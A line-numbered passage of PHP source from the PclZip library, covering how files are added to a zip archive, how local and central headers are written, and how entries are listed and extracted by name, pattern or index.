  1549. return $v_result;
  1550. }
  1551. $v_count++;
  1552. }
  1553.  
  1554. $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
  1555. }
  1556.  
  1557. $v_comment = '';
  1558. if (isset($p_options[PCLZIP_OPT_COMMENT])) {
  1559. $v_comment = $p_options[PCLZIP_OPT_COMMENT];
  1560. }
  1561.  
  1562. $v_size = @ftell($this->zip_fd)-$v_offset;
  1563.  
  1564. if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
  1565. {
  1566. unset($v_header_list);
  1567.  
  1568. return $v_result;
  1569. }
  1570.  
  1571. return $v_result;
  1572. }
  1573.  
  1574. function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
  1575. {
  1576. $v_result=1;
  1577. $v_header = array();
  1578.  
  1579. $v_nb = sizeof($p_result_list);
  1580.  
  1581. for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
  1582. $p_filedescr_list[$j]['filename']
  1583. = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
  1584.  
  1585.  
  1586. if ($p_filedescr_list[$j]['filename'] == "") {
  1587. continue;
  1588. }
  1589.  
  1590. if ( ($p_filedescr_list[$j]['type'] != 'virtual_file')
  1591. && (!file_exists($p_filedescr_list[$j]['filename']))) {
  1592. PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
  1593. return PclZip::errorCode();
  1594. }
  1595.  
  1596. if ( ($p_filedescr_list[$j]['type'] == 'file')
  1597. || ($p_filedescr_list[$j]['type'] == 'virtual_file')
  1598. || ( ($p_filedescr_list[$j]['type'] == 'folder')
  1599. && ( !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
  1600. || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
  1601. ) {
  1602.  
  1603. $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
  1604. $p_options);
  1605. if ($v_result != 1) {
  1606. return $v_result;
  1607. }
  1608.  
  1609. $p_result_list[$v_nb++] = $v_header;
  1610. }
  1611. }
  1612.  
  1613. return $v_result;
  1614. }
  1615.  
  1616. function privAddFile($p_filedescr, &$p_header, &$p_options)
  1617. {
  1618. $v_result=1;
  1619.  
  1620. $p_filename = $p_filedescr['filename'];
  1621.  
  1622. if ($p_filename == "") {
  1623. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
  1624.  
  1625. return PclZip::errorCode();
  1626. }
  1627.  
  1628.  
  1629. clearstatcache();
  1630. $p_header['version'] = 20;
  1631. $p_header['version_extracted'] = 10;
  1632. $p_header['flag'] = 0;
  1633. $p_header['compression'] = 0;
  1634. $p_header['crc'] = 0;
  1635. $p_header['compressed_size'] = 0;
  1636. $p_header['filename_len'] = strlen($p_filename);
  1637. $p_header['extra_len'] = 0;
  1638. $p_header['disk'] = 0;
  1639. $p_header['internal'] = 0;
  1640. $p_header['offset'] = 0;
  1641. $p_header['filename'] = $p_filename;
  1642. $p_header['stored_filename'] = $p_filedescr['stored_filename'];
  1643. $p_header['extra'] = '';
  1644. $p_header['status'] = 'ok';
  1645. $p_header['index'] = -1;
  1646.  
  1647. if ($p_filedescr['type']=='file') {
  1648. $p_header['external'] = 0x00000000;
  1649. $p_header['size'] = filesize($p_filename);
  1650. }
  1651.  
  1652. else if ($p_filedescr['type']=='folder') {
  1653. $p_header['external'] = 0x00000010;
  1654. $p_header['mtime'] = filemtime($p_filename);
  1655. $p_header['size'] = filesize($p_filename);
  1656. }
  1657.  
  1658. else if ($p_filedescr['type'] == 'virtual_file') {
  1659. $p_header['external'] = 0x00000000;
  1660. $p_header['size'] = strlen($p_filedescr['content']);
  1661. }
  1662.  
  1663.  
  1664. if (isset($p_filedescr['mtime'])) {
  1665. $p_header['mtime'] = $p_filedescr['mtime'];
  1666. }
  1667. else if ($p_filedescr['type'] == 'virtual_file') {
  1668. $p_header['mtime'] = time();
  1669. }
  1670. else {
  1671. $p_header['mtime'] = filemtime($p_filename);
  1672. }
  1673.  
  1674. if (isset($p_filedescr['comment'])) {
  1675. $p_header['comment_len'] = strlen($p_filedescr['comment']);
  1676. $p_header['comment'] = $p_filedescr['comment'];
  1677. }
  1678. else {
  1679. $p_header['comment_len'] = 0;
  1680. $p_header['comment'] = '';
  1681. }
  1682.  
  1683. if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
  1684.  
  1685. $v_local_header = array();
  1686. $this->privConvertHeader2FileInfo($p_header, $v_local_header);
  1687.  
  1688. $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
  1689. if ($v_result == 0) {
  1690. $p_header['status'] = "skipped";
  1691. $v_result = 1;
  1692. }
  1693.  
  1694. if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
  1695. $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
  1696. }
  1697. }
  1698.  
  1699. if ($p_header['stored_filename'] == "") {
  1700. $p_header['status'] = "filtered";
  1701. }
  1702.  
  1703. if (strlen($p_header['stored_filename']) > 0xFF) {
  1704. $p_header['status'] = 'filename_too_long';
  1705. }
  1706.  
  1707. if ($p_header['status'] == 'ok') {
  1708.  
  1709. if ($p_filedescr['type'] == 'file') {
  1710. if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
  1711. && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
  1712. || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
  1713. && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
  1714. $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
  1715. if ($v_result < PCLZIP_ERR_NO_ERROR) {
  1716. return $v_result;
  1717. }
  1718. }
  1719.  
  1720. else {
  1721.  
  1722. if (($v_file = @fopen($p_filename, "rb")) == 0) {
  1723. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
  1724. return PclZip::errorCode();
  1725. }
  1726.  
  1727. $v_content = @fread($v_file, $p_header['size']);
  1728.  
  1729. @fclose($v_file);
  1730.  
  1731. $p_header['crc'] = @crc32($v_content);
  1732.  
  1733. if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
  1734. $p_header['compressed_size'] = $p_header['size'];
  1735. $p_header['compression'] = 0;
  1736. }
  1737.  
  1738. else {
  1739. $v_content = @gzdeflate($v_content);
  1740.  
  1741. $p_header['compressed_size'] = strlen($v_content);
  1742. $p_header['compression'] = 8;
  1743. }
  1744.  
  1745. if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
  1746. @fclose($v_file);
  1747. return $v_result;
  1748. }
  1749.  
  1750. @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
  1751.  
  1752. }
  1753.  
  1754. }
  1755.  
  1756. else if ($p_filedescr['type'] == 'virtual_file') {
  1757.  
  1758. $v_content = $p_filedescr['content'];
  1759.  
  1760. $p_header['crc'] = @crc32($v_content);
  1761.  
  1762. if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
  1763. $p_header['compressed_size'] = $p_header['size'];
  1764. $p_header['compression'] = 0;
  1765. }
  1766.  
  1767. else {
  1768. $v_content = @gzdeflate($v_content);
  1769.  
  1770. $p_header['compressed_size'] = strlen($v_content);
  1771. $p_header['compression'] = 8;
  1772. }
  1773.  
  1774. if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
  1775. @fclose($v_file);
  1776. return $v_result;
  1777. }
  1778.  
  1779. @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
  1780. }
  1781.  
  1782. else if ($p_filedescr['type'] == 'folder') {
  1783. if (@substr($p_header['stored_filename'], -1) != '/') {
  1784. $p_header['stored_filename'] .= '/';
  1785. }
  1786.  
  1787. $p_header['size'] = 0;
  1788.  
  1789. if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
  1790. {
  1791. return $v_result;
  1792. }
  1793. }
  1794. }
  1795.  
  1796. if (isset($p_options[PCLZIP_CB_POST_ADD])) {
  1797.  
  1798. $v_local_header = array();
  1799. $this->privConvertHeader2FileInfo($p_header, $v_local_header);
  1800.  
  1801. $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
  1802. if ($v_result == 0) {
  1803. $v_result = 1;
  1804. }
  1805.  
  1806. }
  1807.  
  1808. return $v_result;
  1809. }
  1810.  
  1811. function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
  1812. {
  1813. $v_result=PCLZIP_ERR_NO_ERROR;
  1814.  
  1815. $p_filename = $p_filedescr['filename'];
  1816.  
  1817.  
  1818. if (($v_file = @fopen($p_filename, "rb")) == 0) {
  1819. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
  1820. return PclZip::errorCode();
  1821. }
  1822.  
  1823. $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
  1824. if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
  1825. fclose($v_file);
  1826. PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
  1827. return PclZip::errorCode();
  1828. }
  1829.  
  1830. $v_size = filesize($p_filename);
  1831. while ($v_size != 0) {
  1832. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  1833. $v_buffer = @fread($v_file, $v_read_size);
  1834. @gzputs($v_file_compressed, $v_buffer, $v_read_size);
  1835. $v_size -= $v_read_size;
  1836. }
  1837.  
  1838. @fclose($v_file);
  1839. @gzclose($v_file_compressed);
  1840.  
  1841. if (filesize($v_gzip_temp_name) < 18) {
  1842. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
  1843. return PclZip::errorCode();
  1844. }
  1845.  
  1846. if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
  1847. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
  1848. return PclZip::errorCode();
  1849. }
  1850.  
  1851. $v_binary_data = @fread($v_file_compressed, 10);
  1852. $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);
  1853.  
  1854. $v_data_header['os'] = bin2hex($v_data_header['os']);
  1855.  
  1856. @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
  1857. $v_binary_data = @fread($v_file_compressed, 8);
  1858. $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);
  1859.  
  1860. $p_header['compression'] = ord($v_data_header['cm']);
  1861. $p_header['crc'] = $v_data_footer['crc'];
  1862. $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;
  1863.  
  1864. @fclose($v_file_compressed);
  1865.  
  1866. if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
  1867. return $v_result;
  1868. }
  1869.  
  1870. if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
  1871. {
  1872. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
  1873. return PclZip::errorCode();
  1874. }
  1875.  
  1876. fseek($v_file_compressed, 10);
  1877. $v_size = $p_header['compressed_size'];
  1878. while ($v_size != 0)
  1879. {
  1880. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  1881. $v_buffer = @fread($v_file_compressed, $v_read_size);
  1882. @fwrite($this->zip_fd, $v_buffer, $v_read_size);
  1883. $v_size -= $v_read_size;
  1884. }
  1885.  
  1886. @fclose($v_file_compressed);
  1887.  
  1888. @unlink($v_gzip_temp_name);
  1889.  
  1890. return $v_result;
  1891. }
  1892.  
  1893. function privCalculateStoredFilename(&$p_filedescr, &$p_options)
  1894. {
  1895. $v_result=1;
  1896.  
  1897. $p_filename = $p_filedescr['filename'];
  1898. if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
  1899. $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
  1900. }
  1901. else {
  1902. $p_add_dir = '';
  1903. }
  1904. if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
  1905. $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
  1906. }
  1907. else {
  1908. $p_remove_dir = '';
  1909. }
  1910. if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
  1911. $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
  1912. }
  1913. else {
  1914. $p_remove_all_dir = 0;
  1915. }
  1916.  
  1917.  
  1918. if (isset($p_filedescr['new_full_name'])) {
  1919. $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
  1920. }
  1921.  
  1922. else {
  1923.  
  1924. if (isset($p_filedescr['new_short_name'])) {
  1925. $v_path_info = pathinfo($p_filename);
  1926. $v_dir = '';
  1927. if ($v_path_info['dirname'] != '') {
  1928. $v_dir = $v_path_info['dirname'].'/';
  1929. }
  1930. $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
  1931. }
  1932. else {
  1933. $v_stored_filename = $p_filename;
  1934. }
  1935.  
  1936. if ($p_remove_all_dir) {
  1937. $v_stored_filename = basename($p_filename);
  1938. }
  1939. else if ($p_remove_dir != "") {
  1940. if (substr($p_remove_dir, -1) != '/')
  1941. $p_remove_dir .= "/";
  1942.  
  1943. if ( (substr($p_filename, 0, 2) == "./")
  1944. || (substr($p_remove_dir, 0, 2) == "./")) {
  1945.  
  1946. if ( (substr($p_filename, 0, 2) == "./")
  1947. && (substr($p_remove_dir, 0, 2) != "./")) {
  1948. $p_remove_dir = "./".$p_remove_dir;
  1949. }
  1950. if ( (substr($p_filename, 0, 2) != "./")
  1951. && (substr($p_remove_dir, 0, 2) == "./")) {
  1952. $p_remove_dir = substr($p_remove_dir, 2);
  1953. }
  1954. }
  1955.  
  1956. $v_compare = PclZipUtilPathInclusion($p_remove_dir,
  1957. $v_stored_filename);
  1958. if ($v_compare > 0) {
  1959. if ($v_compare == 2) {
  1960. $v_stored_filename = "";
  1961. }
  1962. else {
  1963. $v_stored_filename = substr($v_stored_filename,
  1964. strlen($p_remove_dir));
  1965. }
  1966. }
  1967. }
  1968.  
  1969. $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
  1970.  
  1971. if ($p_add_dir != "") {
  1972. if (substr($p_add_dir, -1) == "/")
  1973. $v_stored_filename = $p_add_dir.$v_stored_filename;
  1974. else
  1975. $v_stored_filename = $p_add_dir."/".$v_stored_filename;
  1976. }
  1977. }
  1978.  
  1979. $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
  1980. $p_filedescr['stored_filename'] = $v_stored_filename;
  1981.  
  1982. return $v_result;
  1983. }
  1984.  
  1985. function privWriteFileHeader(&$p_header)
  1986. {
  1987. $v_result=1;
  1988.  
  1989. $p_header['offset'] = ftell($this->zip_fd);
  1990.  
  1991. $v_date = getdate($p_header['mtime']);
  1992. $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
  1993. $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
  1994.  
  1995. $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
  1996. $p_header['version_extracted'], $p_header['flag'],
  1997. $p_header['compression'], $v_mtime, $v_mdate,
  1998. $p_header['crc'], $p_header['compressed_size'],
  1999. $p_header['size'],
  2000. strlen($p_header['stored_filename']),
  2001. $p_header['extra_len']);
  2002.  
  2003. fputs($this->zip_fd, $v_binary_data, 30);
  2004.  
  2005. if (strlen($p_header['stored_filename']) != 0)
  2006. {
  2007. fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
  2008. }
  2009. if ($p_header['extra_len'] != 0)
  2010. {
  2011. fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
  2012. }
  2013.  
  2014. return $v_result;
  2015. }
  2016.  
  2017. function privWriteCentralFileHeader(&$p_header)
  2018. {
  2019. $v_result=1;
  2020.  
  2021. $v_date = getdate($p_header['mtime']);
  2022. $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
  2023. $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
  2024.  
  2025.  
  2026. $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
  2027. $p_header['version'], $p_header['version_extracted'],
  2028. $p_header['flag'], $p_header['compression'],
  2029. $v_mtime, $v_mdate, $p_header['crc'],
  2030. $p_header['compressed_size'], $p_header['size'],
  2031. strlen($p_header['stored_filename']),
  2032. $p_header['extra_len'], $p_header['comment_len'],
  2033. $p_header['disk'], $p_header['internal'],
  2034. $p_header['external'], $p_header['offset']);
  2035.  
  2036. fputs($this->zip_fd, $v_binary_data, 46);
  2037.  
  2038. if (strlen($p_header['stored_filename']) != 0)
  2039. {
  2040. fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
  2041. }
  2042. if ($p_header['extra_len'] != 0)
  2043. {
  2044. fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
  2045. }
  2046. if ($p_header['comment_len'] != 0)
  2047. {
  2048. fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
  2049. }
  2050.  
  2051. return $v_result;
  2052. }
  2053.  
  2054. function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
  2055. {
  2056. $v_result=1;
  2057.  
  2058. $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
  2059. $p_nb_entries, $p_size,
  2060. $p_offset, strlen($p_comment));
  2061.  
  2062. fputs($this->zip_fd, $v_binary_data, 22);
  2063.  
  2064. if (strlen($p_comment) != 0)
  2065. {
  2066. fputs($this->zip_fd, $p_comment, strlen($p_comment));
  2067. }
  2068.  
  2069. return $v_result;
  2070. }
  2071.  
  2072. function privList(&$p_list)
  2073. {
  2074. $v_result=1;
  2075.  
  2076. $this->privDisableMagicQuotes();
  2077.  
  2078. if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
  2079. {
  2080. $this->privSwapBackMagicQuotes();
  2081.  
  2082. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
  2083.  
  2084. return PclZip::errorCode();
  2085. }
  2086.  
  2087. $v_central_dir = array();
  2088. if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  2089. {
  2090. $this->privSwapBackMagicQuotes();
  2091. return $v_result;
  2092. }
  2093.  
  2094. @rewind($this->zip_fd);
  2095. if (@fseek($this->zip_fd, $v_central_dir['offset']))
  2096. {
  2097. $this->privSwapBackMagicQuotes();
  2098.  
  2099. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
  2100.  
  2101. return PclZip::errorCode();
  2102. }
  2103.  
  2104. for ($i=0; $i<$v_central_dir['entries']; $i++)
  2105. {
  2106. if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
  2107. {
  2108. $this->privSwapBackMagicQuotes();
  2109. return $v_result;
  2110. }
  2111. $v_header['index'] = $i;
  2112.  
  2113. $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
  2114. unset($v_header);
  2115. }
  2116.  
  2117. $this->privCloseFd();
  2118.  
  2119. $this->privSwapBackMagicQuotes();
  2120.  
  2121. return $v_result;
  2122. }
  2123.  
  2124. function privConvertHeader2FileInfo($p_header, &$p_info)
  2125. {
  2126. $v_result=1;
  2127.  
  2128. $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
  2129. $p_info['filename'] = $v_temp_path;
  2130. $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
  2131. $p_info['stored_filename'] = $v_temp_path;
  2132. $p_info['size'] = $p_header['size'];
  2133. $p_info['compressed_size'] = $p_header['compressed_size'];
  2134. $p_info['mtime'] = $p_header['mtime'];
  2135. $p_info['comment'] = $p_header['comment'];
  2136. $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
  2137. $p_info['index'] = $p_header['index'];
  2138. $p_info['status'] = $p_header['status'];
  2139. $p_info['crc'] = $p_header['crc'];
  2140.  
  2141. return $v_result;
  2142. }
  2143.  
  2144. function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
  2145. {
  2146. $v_result=1;
  2147.  
  2148. $this->privDisableMagicQuotes();
  2149.  
  2150. if ( ($p_path == "")
  2151. || ( (substr($p_path, 0, 1) != "/")
  2152. && (substr($p_path, 0, 3) != "../")
  2153. && (substr($p_path,1,2)!=":/")))
  2154. $p_path = "./".$p_path;
  2155.  
  2156. if (($p_path != "./") && ($p_path != "/"))
  2157. {
  2158. while (substr($p_path, -1) == "/")
  2159. {
  2160. $p_path = substr($p_path, 0, strlen($p_path)-1);
  2161. }
  2162. }
  2163.  
  2164. if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
  2165. {
  2166. $p_remove_path .= '/';
  2167. }
  2168. $p_remove_path_size = strlen($p_remove_path);
  2169.  
  2170. if (($v_result = $this->privOpenFd('rb')) != 1)
  2171. {
  2172. $this->privSwapBackMagicQuotes();
  2173. return $v_result;
  2174. }
  2175.  
  2176. $v_central_dir = array();
  2177. if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  2178. {
  2179. $this->privCloseFd();
  2180. $this->privSwapBackMagicQuotes();
  2181.  
  2182. return $v_result;
  2183. }
  2184.  
  2185. $v_pos_entry = $v_central_dir['offset'];
  2186.  
  2187. $j_start = 0;
  2188. for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
  2189. {
  2190.  
  2191. @rewind($this->zip_fd);
  2192. if (@fseek($this->zip_fd, $v_pos_entry))
  2193. {
  2194. $this->privCloseFd();
  2195. $this->privSwapBackMagicQuotes();
  2196.  
  2197. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
  2198.  
  2199. return PclZip::errorCode();
  2200. }
  2201.  
  2202. $v_header = array();
  2203. if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
  2204. {
  2205. $this->privCloseFd();
  2206. $this->privSwapBackMagicQuotes();
  2207.  
  2208. return $v_result;
  2209. }
  2210.  
  2211. $v_header['index'] = $i;
  2212.  
  2213. $v_pos_entry = ftell($this->zip_fd);
  2214.  
  2215. $v_extract = false;
  2216.  
  2217. if ( (isset($p_options[PCLZIP_OPT_BY_NAME]))
  2218. && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
  2219.  
  2220. for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {
  2221.  
  2222. if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
  2223.  
  2224. if ( (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
  2225. && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
  2226. $v_extract = true;
  2227. }
  2228. }
  2229. elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
  2230. $v_extract = true;
  2231. }
  2232. }
  2233. }
  2234.  
  2235.  
  2236. else if ( (isset($p_options[PCLZIP_OPT_BY_PREG]))
  2237. && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
  2238.  
  2239. if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
  2240. $v_extract = true;
  2241. }
  2242. }
  2243.  
  2244. else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX]))
  2245. && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
  2246.  
  2247. for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {
  2248.  
  2249. if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
  2250. $v_extract = true;
  2251. }
  2252. if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
  2253. $j_start = $j+1;
  2254. }
  2255.  
  2256. if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
  2257. break;
  2258. }
  2259. }
  2260. }
  2261.  
  2262. else {
  2263. $v_extract = true;
  2264. }
  2265.  
  2266. if ( ($v_extract)
  2267. && ( ($v_header['compression'] != 8)
  2268. && ($v_header['compression'] != 0))) {
  2269. $v_header['status'] = 'unsupported_compression';
  2270.  
  2271. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
  2272. && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
  2273.  
  2274. $this->privSwapBackMagicQuotes();
  2275.  
  2276. PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
  2277. "Filename '".$v_header['stored_filename']."' is "
  2278. ."compressed by an unsupported compression "
  2279. ."method (".$v_header['compression'].") ");
  2280.  
  2281. return PclZip::errorCode();
  2282. }
  2283. }
  2284.  
  2285. if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
  2286. $v_header['status'] = 'unsupported_encryption';
  2287.  
  2288. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
  2289. && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
  2290.  
  2291. $this->privSwapBackMagicQuotes();
  2292.  
  2293. PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
  2294. "Unsupported encryption for "
  2295. ." filename '".$v_header['stored_filename']
  2296. ."'");
  2297.  
  2298. return PclZip::errorCode();
  2299. }
  2300. }
  2301.  
  2302. if (($v_extract) && ($v_header['status'] != 'ok')) {
  2303. $v_result = $this->privConvertHeader2FileInfo($v_header,
  2304. $p_file_list[$v_nb_extracted++]);
  2305. if ($v_result != 1) {
  2306. $this->privCloseFd();
  2307. $this->privSwapBackMagicQuotes();
  2308. return $v_result;
  2309. }
  2310.  
  2311. $v_extract = false;
  2312. }
  2313.  
  2314. if ($v_extract)
  2315. {
  2316.  
  2317. @rewind($this->zip_fd);
  2318. if (@fseek($this->zip_fd, $v_header['offset']))
  2319. {
  2320. $this->privCloseFd();
  2321.  
  2322. $this->privSwapBackMagicQuotes();
  2323.  
  2324. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
  2325.  
  2326. return PclZip::errorCode();
  2327. }
  2328.  
  2329. if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
  2330.  
  2331. $v_string = '';
  2332.  
  2333. $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
  2334. if ($v_result1 < 1) {
  2335. $this->privCloseFd();
  2336. $this->privSwapBackMagicQuotes();
  2337. return $v_result1;
  2338. }
  2339.  
  2340. if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
  2341. {
  2342. $this->privCloseFd();
  2343. $this->privSwapBackMagicQuotes();
  2344.  
  2345. return $v_result;
  2346. }
  2347.  
  2348. $p_file_list[$v_nb_extracted]['content'] = $v_string;
  2349.  
  2350. $v_nb_extracted++;
  2351.  
  2352. if ($v_result1 == 2) {
  2353. break;
  2354. }
  2355. }
  2356. elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
  2357. && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
  2358. $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
  2359. if ($v_result1 < 1) {
  2360. $this->privCloseFd();
  2361. $this->privSwapBackMagicQuotes();
  2362. return $v_result1;
  2363. }
  2364.  
  2365. if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
  2366. $this->privCloseFd();
  2367. $this->privSwapBackMagicQuotes();
  2368. return $v_result;
  2369. }
  2370.  
  2371. if ($v_result1 == 2) {
  2372. break;
  2373. }
  2374. }
  2375. else {
  2376. $v_result1 = $this->privExtractFile($v_header,
  2377. $p_path, $p_remove_path,
  2378. $p_remove_all_path,
  2379. $p_options);
  2380. if ($v_result1 < 1) {
  2381. $this->privCloseFd();
  2382. $this->privSwapBackMagicQuotes();
  2383. return $v_result1;
  2384. }
  2385.  
  2386. if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
  2387. {
  2388. $this->privCloseFd();
  2389. $this->privSwapBackMagicQuotes();
  2390.  
  2391. return $v_result;
  2392. }
  2393.  
  2394. if ($v_result1 == 2) {
  2395. break;
  2396. }
  2397. }
  2398. }
  2399. }
  2400.  
  2401. $this->privCloseFd();
  2402. $this->privSwapBackMagicQuotes();
  2403.  
  2404. return $v_result;
  2405. }
  2406.  
  2407. function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
  2408. {
  2409. $v_result=1;
  2410.  
  2411. if (($v_result = $this->privReadFileHeader($v_header)) != 1)
